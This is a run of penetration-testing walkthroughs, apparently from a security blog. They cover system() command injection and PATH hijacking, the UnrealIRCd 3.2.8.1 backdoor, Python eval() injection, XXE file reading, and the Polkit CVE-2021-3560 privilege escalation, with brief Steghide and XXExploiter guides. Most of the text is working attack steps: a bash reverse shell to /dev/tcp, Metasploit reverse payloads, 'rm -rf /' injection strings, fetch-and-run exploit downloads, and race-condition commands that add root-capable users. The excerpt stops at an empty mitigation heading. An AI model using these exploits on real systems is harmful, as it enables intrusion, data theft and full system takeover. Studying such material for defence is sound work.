In this example, the program prompts the user for a filename and then constructs a command string to execute the cat command on the specified file. However, the input is not properly validated, allowing an attacker to inject arbitrary commands. For instance, if the user provides the input file.txt; rm -rf /, the attacker can execute the cat file.txt command followed by the dangerous rm -rf / command.

2. Running ltrace we find out the system call

  • ltrace ./example2
  • /etc/hosts

3. Exploiting this vulnerability we can inject commands

  • ltrace ./example2
  • /etc/hosts;date

Note: we see now the date output displayed

Subverting the PATH

If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.

#include<stdio.h>

int main()
{
    system("ls");
    return(0);
}

1. Running program1 we can see that it prints the contents of the current directory

  • ./program1

2. Running ltrace we can find out there is a system call

  • ltrace ./program1

3. Since, the full path is not defined, we can try to alter the contents of the $PATH variable, $PATH variable in Linux is an environment variable that stores a list of directories where the operating system searches for executable files when a command is entered in the shell.

  • echo $PATH
  • PATH=/tmp:$PATH
  • echo $PATH

4. We can now create a script in /tmp named ls, this new file needs to be set as executable

  • echo "/bin/date" > /tmp/ls
  • chmod 755 /tmp/ls
  • ./program1

5. Knowing we could inject commands that would help us escalate priveleges, or even acquire persistence, such as adding a new user, or spawning a new shell with the privileges of the user that runs the app

Examples

[Example 1] Exploiting application system call

1. In this scenario there is an application that apparently reads a file, and, executes the contents of it. It has SUID file set, so if we get to exploit it, we could get elevated privileges.

  • ls -l viewuser
  • ./viewuser

2. We see /tmp/listusers file is not found. We will run ltrace to try to figure out, if there would be any system() call

  • ltrace ./viewuser

3. Since, the script is executing system(), we can try to create a file in /tmp named as listusers file, we will enter /usr/bin/date command, and make this file as executable (making the file as executable could correct Permission denied error)

  • echo "/usr/bin/date" > /tmp/listusers
  • chmod a+x /tmp/listusers

4. Now running the application again, we don’t see the (sh: 1: /tmp/listusers: not found) error, instead we get the output of the /usr/bin/date command

5. Knowing we can execute a command we can now try to run a shell using /bin/bash

  • echo "/bin/bash" > /tmp/listusers
  • chmod a+x /tmp/listusers

6. Execute the script again, and we get root

  • ./viewuser
  • whoami

Remedy

  • Input Validation: Validate the filename input to ensure it adheres to the expected file naming conventions. Reject any input that contains invalid characters or patterns.
  • File Content Validation: Before executing the command obtained from the file, validate and sanitize the content to ensure it consists only of expected characters and patterns. Reject any content that does not adhere to the expected format.
  • Restricted Command Execution: Consider implementing a restricted environment where only specific commands or a whitelist of allowed commands can be executed. This reduces the impact of potential command injection vulnerabilities.
  • Also, use full paths when calling binaries, scripts or programs

Sources

https://failingsilently.wordpress.com/2017/09/08/exploiting-calls-to-system/

https://www.go4expert.com/articles/exploit-c-t24920/

https://ir0nstone.gitbook.io/notes/types/stack/syscalls

Steganography with Steghide

Steghide is a popular command-line tool used for hiding and extracting sensitive information within various file formats using steganography techniques. Steganography is the practice of concealing one piece of information within another.

Installing Steghide

Before you can use Steghide, you need to install it on your system. Here are the general steps:

  • Linux: Use your distribution's package manager (e.g., apt, yum) to install Steghide. For example, on Ubuntu, you can run sudo apt-get install steghide
  • macOS: You can use package managers like Homebrew or MacPorts to install Steghide. For Homebrew, run brew install steghide
  • Windows: Download the Steghide binary from the official website (https://steghide.sourceforge.io/) and follow the installation instructions.

How use

Hiding a Text File within an Image:

Let's assume you have a text file called "secret.txt" and an image file called "cover.jpg" in the same directory. Follow these steps to hide the text file within the image:

Open your terminal or command prompt and navigate to the directory where the files are located.

Use the following command to embed the text file within the image:

  • steghide embed -cf cover.jpg -ef secret.txt
  • <Passphrase>: 123456

This command tells Steghide to embed the "secret.txt" file within the "cover.jpg" image file.

Steghide will prompt you to enter a passphrase. Choose a strong passphrase and remember it, as you'll need it later to extract the hidden file.

After providing the passphrase, Steghide will generate a new file called "cover.jpg" (or the same name as the original file) with the embedded data.

Extracting a Hidden File from an Image:

Now, let's extract the hidden file from the image we created in the previous step. Follow these instructions:

Open your terminal or command prompt and navigate to the directory where the image file is located.

Use the following command to extract the hidden file:

  • steghide extract -sf cover.jpg
  • <Passphrase>: 123456

This command instructs Steghide to extract any hidden data from the "cover.jpg" image file.

Steghide will prompt you to enter the passphrase you used during the embedding process. Enter the correct passphrase.

Steghide will then extract the hidden file and save it in the current directory with its original name.

Hiding a File with Encryption:

In this example, we'll hide a file within an image, but we'll encrypt the file before embedding it. Follow these steps:

Encrypt the file you want to hide using your preferred encryption tool. Let's assume the encrypted file is called "secret.enc".

Open your terminal or command prompt and navigate to the directory where the files are located.

Use the following command to hide the encrypted file within the image:

  • steghide embed -cf cover.jpg -ef secret.enc -p <passphrase>

Replace <passphrase> with the passphrase you want to use for embedding the file.

Steghide will embed the encrypted file within the image using the provided passphrase.

Specifying an Output File:

By default, Steghide will overwrite the original file when embedding or extracting data. However, you can specify a different output file using the "-sf" (source file) and "-xf" (extract file) options.

To specify an output file during embedding, use the "-sf" option followed by the desired output file name. For example:

  • steghide embed -cf cover.jpg -ef secret.txt -sf output.jpg

 

(CVE-2010-2075)[Command Execution] UnrealIRCD 3.2.8.1 Backdoor

UnrealIRCd contains a backdoor in the DEBUG3_DOLOG_SYSTEM macro. Various mirror sites hosting Unreal3.2.8.1.tar.gz with the 752e46f2d873c1679fa99de3f52a274d Md5 checksum since November 2009 have been compromised. A remote attacker could exploit this vulnerability to execute arbitrary commands with privileges of the application. CVE-2010-2075

UnrealIRCd, an open-source Internet Relay Chat (IRC) server, typically uses a few specific ports for its operation. Here are the commonly used ports by UnrealIRCd:

  • Port 6667: This is the default port for IRC servers. It is used for plaintext, unencrypted IRC communication. Clients can connect to the IRC server using this port to join chat rooms and interact with other users.
  • Port 6697: This port is commonly used for secure IRC communication over SSL/TLS. It provides an encrypted connection between the IRC server and clients, ensuring data confidentiality and integrity.
  • Port 7000: Often used for IRC over SSL/TLS (encrypted communication) as an alternative to port 6697. Some IRC networks or services may choose to use this port instead

Affected Products

UnrealIRCd UnrealIRCd 3.2.8.1

Identification

1. First step would be to identify the open ports in the server

  • nmap -p- -T 5 10.10.10.117 --max-retries 1

2. Now identify the version of the application, you can connect to the UnrealIRC port (6667, 6697, 7000), based on https://www.rfc-editor.org/rfc/rfc1459 , you can connect to the server using telnet, or netcat.

  • telnet 10.10.10.117 6697
  • (OPTIONAL) netcat 10.10.10.117 6697

3. We can authenticate and connect to the server to find out the version

  • PASS vry4n
  • NICK vry4n
  • USER vry4n atVK9 Security :vry4n

Note: the version is 3.2.8.1

Version enumeration using nmap

1. Run the /usr/share/nmap/scripts/irc-info.nse script against the UnrealIRC port

  • nmap -p 6667 -sV 192.168.142.128 --script=irc-info

Exploiting using Nmap (irc-unrealircd-backdoor.nse)

1. Nmap has a script that exploits this vulnerability, once we have confirmed the server has the vulnerable version we can, start a netcat listener on our local machine

  • nc -lvp 4444

2. Now proceed to run the following command, feel free to modify the command injection as you please (--script-args=irc-unrealircd-backdoor.command='')

  • nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"' 10.10.10.117

3. After a while check the listener

Exploitation using a Script

1. We can try to exploit this vulnerability using the script (https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master)

  • git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor.git
  • ls
  • cd UnrealIRCd-3.2.8.1-Backdoor
  • ls

2. Display the options

  • python3 exploit.py -h

3. Edit the source code, and add the local_ip & local_port

  • local_ip = '10.10.14.9'
  • local_port = '7777'

4. Start a listener

  • nc -lvp 7777

5. After editing the source code, run the application

  • python3 exploit.py -payload bash 10.10.10.117 6697

6. Check the listener

Note: A reverse connection should be started.

Exploitation using Metasploit (unreal_ircd_3281_backdoor)

1. This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

  • use exploit/unix/irc/unreal_ircd_3281_backdoor
  • show options

2. Set the remote host and optionally set the remote port

  • set RHOSTS 192.168.142.128
  • (OPTIONAL) set RPORT 6697

3. Show the payload options and use one of them

  • show options
  • set payload payload/cmd/unix/reverse_ruby

4. Set the local IP and port, then start the exploit

  • set LHOST 192.168.142.129
  • (OPTIONAL) set LPORT 7777
  • exploit

Remedy

The best recommendation will be to upgrade to the latest version released by the vendor. Refer to unrealsecadvisory 20100612 for patch, upgrade or suggested workaround information. Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

You can check by running 'md5sum Unreal3.2.8.1.tar.gz', it should

output: 7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

For reference, here are the md5sums for ALL proper files:

7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

5a6941385cd04f19d9f4241e5c912d18 Unreal3.2.8.1.exe

a54eafa6861b6219f4f28451450cdbd3 Unreal3.2.8.1-SSL.exe

Source

https://exchange.xforce.ibmcloud.com/vulnerabilities/59414

https://www.exploit-db.com/exploits/13853

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075

https://seclists.org/fulldisclosure/2010/Jun/277

https://seclists.org/fulldisclosure/2010/Jun/284

https://security.gentoo.org/glsa/201006-21

https://www.openwall.com/lists/oss-security/2010/06/14/11

https://www.cvedetails.com/cve/CVE-2010-2075/?q=CVE-2010-2075

https://www.cve.org/CVERecord?id=CVE-2010-2075

https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master

 

Exploiting Python EVAL() Code Injection

Python is a versatile and powerful programming language known for its simplicity and readability. One of the features that makes Python flexible is the eval() function, which allows the execution of dynamically generated code. While eval() can be a useful tool in certain situations, it also carries inherent security risks if used improperly. In this article, we will delve into the dangers of Python EVAL code injection and how it can be exploited by malicious actors.

Understanding EVAL and Code Injection:

The eval() function in Python evaluates a string as a Python expression and returns the result. It allows developers to dynamically execute code during runtime, providing great flexibility. However, if user-supplied input is directly passed into eval(), it can lead to code injection vulnerabilities.

Code injection occurs when an attacker manages to insert malicious code into a program, exploiting a vulnerability in the system. In the case of Python EVAL code injection, an attacker manipulates input data to execute unintended commands, potentially compromising the security and integrity of the system.

Exploiting EVAL Code Injection:

Exploiting EVAL code injection involves crafting input that can be executed by eval() in an unintended manner. Here's an example:

In this code snippet, the user is prompted to enter a number, which is then concatenated with a string to form an expression that is passed to eval().

If an attacker enters malicious input like "__import__('os').system('rm -rf /')" instead of a valid number, the eval() function will execute the unintended command, resulting in the deletion of files on the system.

Example

1. So, by running this function normally, the eval() will add 2 + the user provided input.

  • python3 eval_test.py
  • 4

2. Abusing this eval function we can inject code, in this case

  • python3 eval_test.py
  • __import__('os').system('date')

3. You can then exploit further to get a reverse shell, escalate privileges, or read/write important files

Bypass examples

Most of the time, we need to bypass another expression to execute our desired command.

Mitigating the Risks:

To protect against EVAL code injection, it is crucial to follow best practices for input validation and sanitization. Here are some recommended measures:

  • Input Validation: Always validate user input to ensure it conforms to expected formats and ranges. Use appropriate validation techniques like regular expressions or type checking to filter out potentially harmful input.
  • Avoid Direct EVAL: Whenever possible, avoid using eval() to evaluate user input. Consider alternative approaches that don't involve executing arbitrary code, such as using ast.literal_eval() to safely evaluate literals.
  • Context-Specific Evaluation: If you must use eval(), restrict the evaluation to a specific context by creating a whitelist of allowed functions, modules, or operations. This approach limits the potential damage an attacker can inflict.
  • Use Secure Defaults: Configure your system and applications with secure defaults, such as running with limited privileges or using a restricted execution environment. This reduces the impact of code injection vulnerabilities.
  • Regularly Update Dependencies: Keep your Python interpreter and libraries up to date to benefit from security patches and fixes. Many vulnerabilities related to EVAL code injection are often addressed in newer versions.

Sources

https://semgrep.dev/docs/cheat-sheets/python-code-injection/

https://www.stackhawk.com/blog/command-injection-python/

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/

https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1

https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

 

[How to] XXExploit Guide

It generates the XML payloads, and automatically starts a server to serve the needed DTD's or to do data exfiltration.

Installation

1. To install XXExploit, you first need to install npm module. npm stands for "Node Package Manager." It is a package manager for JavaScript that allows developers to easily install and manage dependencies for their Node.js projects.

  • sudo apt install nodejs
  • sudo apt install npm

2. Install the XXExploiter module using npm

  • sudo npm install -g xxexploiter

3. Run the tool

  • xxexploiter

Building and Running from source

1. This is a simple Node application written with typescript. So you can build it as you build other apps:

(install node and npm first, if you dont have them)

  • npm install
  • npm run build

Note: you may need to npm install tsc -g in order for 'npm build' to succeed

2. To run the app you can do it with one of two ways:

  • npm start [args]
  • node dist/index.js [args]

Or you can install it on your system:

  • npm link

How to

1. There are basically 4 main commands:

  • file – to read local files
  • request – do SSRF attack, to make requests from the target machine
  • expect – Use PHP expect to execute commands, if your target is a PHP app
  • XEE – Just do parameter expansions to try to cause a DOS.

2. File: We will create a default payload to read a common file /etc/passwd

  • xxexploiter file /etc/passwd

3. Request: We will make a request from the target machine to a website

  • xxexploiter request http://127.0.0.1:8080

3. Expect: Creates a default payload to execute system commands

  • xxexploiter expect id

Using other options

Template:

-t, --template : path to an XML template where to inject payload

  • xxexploiter file /etc/passwd --template exploit.xml

Write an output file

-x : Use a request to automatically send the xml file

  • xxexploiter file /etc/passwd --template exploit.xml -o payload.xml
  • cat payload

Mode

-m, --mode : Extraction Mode: xml, oob, cdata. Default: xml

-s, --server : Server address for OOB and DTD

-p, --port : Server port for OOB and DTDs. Default: 7777

If you choose to use OOB or CDATA mode, XXExploiter will generate the necessary dtd to be included, and will start a server to host them.

  • xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t exploit.xml -m oob

Encoding

-e, --encode : Extraction Encoding: none, phpbase64. Default: none

  • xxexploiter file /etc/passwd --template exploit.xml -e phpbase64

Sources

https://kalilinuxtutorials.com/xxexploiter/

https://hakin9.org/xxexploiter-tool-to-help-exploit-xxe-vulnerabilities/

https://github.com/luisfontes19/xxexploiter

 

Exploiting XML External Entities (XXE) in custom application

XXE vulnerabilities can be exploited by attackers to manipulate XML parsing functionality, potentially leading to unauthorized access, sensitive data exposure, or even remote code execution. This article aims to provide a comprehensive guide to understanding and exploiting XXE vulnerabilities, shedding light on the techniques employed by attackers and helping security professionals and developers bolster their defenses.

For more information visit our publication named XML external entity (XXE) injection

#1 Example: exploiting a custom XML web app

This application accepts users’ input, and processes them as XML. The application doesn’t have any security restrictions, so, it is vulnerable to XXE attacks

1. First step is to use the application normally, and, explore its functionality

  • http://10.10.11.100/log_submit.php

2. Entering data we see it provides some output, based on what we entered.

3. Now, we will try to capture the request using BurpSuite or any other web proxy you may have, I noticed the following

  • The application is calling /tracker_diRbPr00f314.php to send the data
  • The contents of the data variable seem to be URL encoded

4. The response doesn’t contain anything interesting other than the data we sent

5. Now we will try to use BurpSuite decoder module, to decode the data that has been sent in the Request

Encoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U%2BQ1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M%2BCgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

Decoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+

6. It looks the result is base64 encode, so now we will try to decode this output using Linux

  • echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+' | base64 -d

7. Now, we can see the output is XML, we can know try to run a simple XXE query to see if we get text printed on screen, so send the request to Repeater

Identification

1. Being able to repeat this request, we will proceed to modify the current data sent, now that it has been decoded, edit it and then encode it using base64

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgIlZrOVNlY3VyaXR5Ij4KXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4meHhlOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0PiAgICAK

2. Now proceed to use BurpSuite decoe module to encode this in URL format

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%49%6c%5a%72%4f%56%4e%6c%59%33%56%79%61%58%52%35%49%6a%34%4b%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%43%64%57%5a%6d%5a%58%49%67%54%33%5a%6c%63%6d%5a%73%62%33%63%38%4c%33%52%70%64%47%78%6c%50%67%6f%4a%43%54%78%6a%64%32%55%2b%51%31%5a%46%4c%54%49%77%4d%6a%4d%74%4d%44%41%77%4d%44%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6a%45%77%4c%6a%41%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%65%48%68%6c%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%69%41%67%49%43%41%4b%0a

3. Now, we proceed to use this in our request instead of the original data, modify the data= variable data, our data in the external entity should be printed. (Vk9Security)

Exploitation

1. Now that we know we can run external entities, we can proceed to try to read a common file (/etc/passwd) using the file method

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPkJ1ZmZlciBPdmVyZmxvdzwvdGl0bGU+CgkJPGN3ZT5DVkUtMjAyMy0wMDAwPC9jd2U+CgkJPGN2c3M+MTAuMDwvY3Zzcz4KCQk8cmV3YXJkPiZ4eGU7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ICAgIAo=

2. Now URL encode this base64 string using burp suite decoder module

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%55%31%6c%54%56%45%56%4e%49%43%4a%6d%61%57%78%6c%4f%69%38%76%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%67%70%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6b%4a%31%5a%6d%5a%6c%63%69%42%50%64%6d%56%79%5a%6d%78%76%64%7a%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%44%56%6b%55%74%4d%6a%41%79%4d%79%30%77%4d%44%41%77%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%4d%54%41%75%4d%44%77%76%59%33%5a%7a%63%7a%34%4b%43%51%6b%38%63%6d%56%33%59%58%4a%6b%50%69%5a%34%65%47%55%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%49%43%41%67%49%41%6f%3d%0a

3. Now use this special crafted encoded XML file in BurpSuite repeater, modifying the data= variable data

4. As you can see the contents of /etc/passwd are displayed on the response

Sources

https://github.com/payloadbox/xxe-injection-payload-list

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md

https://github.com/topics/xxe-injection

https://github.com/luisfontes19/xxexploiter

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xxe-xee-xml-external-entity.md

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md

 

(CVE-2021-3560)[Local Privilege Escalation] Polkit 0.105-26 0.117-2

CVE-2021-3560 has emerged as a significant concern for Linux-based systems. This security flaw, also known as the "Polkit" vulnerability, allows local attackers to gain root privileges, potentially leading to complete compromise of the affected system. In this article, we will delve into the details of CVE-2021-3560, its impact, and recommended measures to mitigate the risk.

What is Polkit

Polkit, also known as PolicyKit, is a framework used in Linux systems for defining and managing policies related to system privileges and access control. It provides a way to control permissions for various actions and resources, allowing non-root users to perform administrative tasks without granting them full superuser (root) privileges.

The primary purpose of Polkit is to facilitate fine-grained authorization decisions based on defined policies. It allows system administrators to specify rules and conditions for granting or denying access to privileged operations, such as system configuration changes, device management, or software installation.

Here's a high-level overview of how Polkit works:

  • Policy Definitions: Polkit relies on policy definitions that specify the desired authorization rules. These policies are usually defined in XML files located in the /etc/polkit-1/ directory. The policies describe the actions, authentication requirements, and associated privileges.
  • Authentication Agents: When a user requests an action that requires elevated privileges, such as modifying system settings, a Polkit-aware application or process checks the policy associated with that action. If the policy allows the user to perform the action, an authentication agent is invoked.
  • Authentication Dialog: The authentication agent presents an authentication dialog to the user, prompting for credentials, such as a password or biometric authentication. The dialog can vary depending on the desktop environment or the specific application invoking Polkit.
  • Authorization Check: The entered credentials are verified against the authentication requirements specified in the policy. If the credentials are valid and meet the criteria, Polkit grants the user temporary authorization to perform the requested action with elevated privileges.
  • Action Execution: With the temporary authorization, the requesting application or process can proceed to execute the action with the necessary privileges. Once the action is completed or the authorization expires, the elevated privileges are revoked.

What is dbus

dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:

  • dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames

dbus stores service files in /usr/share/dbus-1/system-services

  • cd /usr/share/dbus-1/system-services
  • ls -la

Accounts. service which triggers accounts-daemon to perform user addition/modification options.

  • cat org.freedesktop.Accounts.service

Using this service file to add an user

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

--system: sends message to the system bus

--dest: name of the connection (interface) that receives the message

--type: method_call means a system function with arguments being passed

--print-reply: prints the output in human-readable format

/org/freedesktop/Accounts: This is the function that will be used

org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.

Overview of CVE-2021-3560:

CVE-2021-3560 is a privilege escalation vulnerability that affects the Polkit system service, which provides an authorization framework for granting privileges in Linux distributions. Polkit, also known as PolicyKit, is commonly used to handle authorization decisions, allowing non-root users to perform certain administrative tasks with the appropriate permissions.

The vulnerability resides in the Polkit's handling of authentication credentials. A flaw in the implementation allows a local attacker with a low-privileged account to bypass the authentication process and execute arbitrary commands with elevated privileges. This could result in unauthorized access, data compromise, and potential system-wide impact.

The exact vulnerable piece of code in the provided Polkit code is located in the on_response function. Here are the lines that introduce the vulnerability:

The vulnerability lies in the polkit_agent_listener_handle_response function, which processes the response received from the Polkit authentication agent. The flaw allows an authenticated user to bypass the authentication process and execute arbitrary commands with elevated privileges.

By manipulating the response or injecting a malicious response, an attacker can exploit the race condition within the authentication process and gain unauthorized root access.

Affected Systems:

The vulnerability affects various Linux distributions that utilize Polkit versions before 0.119. This includes popular distributions like Ubuntu, Debian, Fedora, CentOS, and their derivatives. It is crucial for administrators and users of these distributions to promptly address the vulnerability to prevent potential exploitation.

polkit 0.105-26 0.117-2

polkit polkit 0.113

polkit polkit 0.118

Red Hat Enterprise Linux 8

Fedora 21 (or later)

Debian Testing (“Bullseye”)

Ubuntu 20.04 LTS (“Focal Fossa”)

Identification

1. In order to identify the version of the PolicyKit (polkit) we can run the following commands

RHEL

  • rpm -qa | grep -i polkit
  • rpm -qa | grep -i policykit

Debian

  • apt list --installed | grep -i policykit
  • apt list --installed | grep -I polkit

(Optional) 2. Check these 2 services are available

  • rpm -qa | grep -i accountsservice
  • rpm -qa | grep -i gnome-control-center

Exploitation Scenario

To exploit CVE-2021-3560, an attacker must have a local account on the targeted Linux system. By leveraging a race condition in the Polkit's authentication mechanism, an attacker can trick the system into granting privileged access. This is achieved by simultaneously requesting an authentication action and replacing it with a different, unauthorized action before the authentication process completes.

Upon successful exploitation, the attacker can execute commands with elevated privileges, essentially gaining root access to the system. This level of control opens the door for further malicious activities, such as installing malware, modifying system configurations, exfiltrating sensitive data, or launching additional attacks within the compromised environment.

1. For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.

  • time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

2. As you can see, it takes me 0.059 seconds to execute this command. So, I need to kill my payload before 0.059 seconds for it to work. (Run it many times, it usually doesn’t work at first, it took me like 14 times, confirm by running “cat /etc/passwd”

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1 & sleep 0.0035s ; kill $!
  • cat /etc/passwd | tail -n 5

Note: The User Vry4n has been added

3. Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.

  • openssl passwd -5 vry4n@123
  • Result: $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9

4. Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like, (also run this command multiple times until success), User1005 means the user ID which needs to match what is in /etc/passwd

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:' $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9' string:BestHackingTutorials & sleep 0.0035s ; kill $!

5. Once the User add & the Password change commands succeed, one after the other, we can proceed to log in Username: Vry4n & Password: 123456

  • su vry4n
  • Password: 123456
  • sudo su
  • Password:123456
  • id
  • whoami

#1 - Exploitation using a Script

1. This is a script that automates this task, first of all let’s download it, start a web server to transfer it to the target machine

  • git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git
  • cd CVE-2021-3560-Polkit-Privilege-Esclation
  • ls
  • python3 -m http.server 9999

2. Now, transfer the file into the target machine, and run it ([!] If the username is inserted, but the login fails; try running the exploit again.)

  • bash poc.sh
  • Credentials: secnigma: secnigmaftw

#2 Exploitation using a Script

1. In this example we are going to test, https://www.exploit-db.com/exploits/50011, This is another bash script that can be used as an alternative. Transfer the file into the target machine and run it. (if username added to /etc/passwd and the password doesn’t work, run it several times until it succeeds)

  • vi exploit.sh
  • bash exploit.sh

2. Now try to switch to that user (hacked:password)

  • su hacked
  • Password: password
  • sudo su -
  • Password: password
  • whoami
  • id

#3 Exploitation using a Script

1. We can try this other alternative written in python (https://github.com/UNICORDev/exploit-CVE-2021-3560), so download it in your local machine, then start a web server to deploy it into the target machine

  • git clone https://github.com/UNICORDev/exploit-CVE-2021-3560.git
  • cd exploit-CVE-2021-3560
  • ls
  • python3 -m http.server 9999

2. Download the file from our web server, then, run the application

  • wget http://10.10.14.8:9999/exploit-CVE-2021-3560.py
  • python3 exploit-CVE-2021-3560.py

3. After successful execution, elevate the privileges(Username: unicord & Password: unicord), if it doesn’t work the first time, run it several times. Verify the user has been added by reading /etc/passwd file

  • su unicord
  • Password: unicord
  • sudo su
  • Password: unicord
  • whoami
  • id

Mitigation and Remediation:

Linux system administrators and users are strongly advised to take the following actions to mitigate the risks associated with CVE-2021-3560:

